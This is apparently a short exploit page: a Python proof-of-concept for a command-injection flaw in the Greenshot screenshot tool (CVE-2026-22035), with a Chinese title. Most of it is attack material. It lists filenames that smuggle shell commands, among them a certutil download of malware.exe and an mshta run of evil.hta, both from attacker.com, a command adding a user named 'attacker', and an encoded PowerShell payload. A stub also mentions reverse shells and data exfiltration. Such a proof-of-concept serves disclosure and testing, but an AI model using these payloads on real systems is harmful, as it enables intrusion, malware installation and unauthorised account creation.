CVE-2026-22035 Greenshot命令注入漏洞

# CVE-2026-22035 PoC - Greenshot Command Injection # Version affected: Greenshot <= 1.3.310 # Fixed in: Greenshot 1.3.311 import os import sys def create_malicious_filename(): """ Create a malicious filename with shell metacharacters to exploit CVE-2026-22035 in Greenshot """ # Shell metacharacters for command injection # Using semicolon to chain commands malicious_names = [ 'screenshot.png;whoami > C:\\temp\\pwned.txt', 'screenshot.png|certutil.exe -urlcache -split -f http://attacker.com/malware.exe', 'screenshot.png`calc.exe`', 'screenshot.png$(powershell -e base64encoded_payload)', 'screenshot.png&&net user attacker P@ssw0rd /add', 'screenshot.png||mshta.exe http://attacker.com/evil.hta' ] return malicious_names def generate_payload(): """ Generate example malicious payload This would create a reverse shell or execute arbitrary code """ payload = ''' # Example: Create a file with execution result # In real attack, this could be: # - Reverse shell connection # - Malware download and execution # - Privilege escalation # - Data exfiltration import os cmd = 'calc.exe' # Simple proof of concept os.system(cmd) ''' return payload def main(): print("CVE-2026-22035 - Greenshot Command Injection PoC") print("=" * 50) print("\nAffected Versions: Greenshot <= 1.3.310") print("Fixed Version: Greenshot 1.3.311") print("\nVulnerable Code Location:") print(" ExternalCommandDestination.cs:269") print(" FormatArguments() method") print("\nMalicious Filenames:") for name in create_malicious_filename(): print(f" - {name}") print("\nNote: User interaction required to save/export screenshot") print("with crafted filename through Greenshot application.") if __name__ == "__main__": main()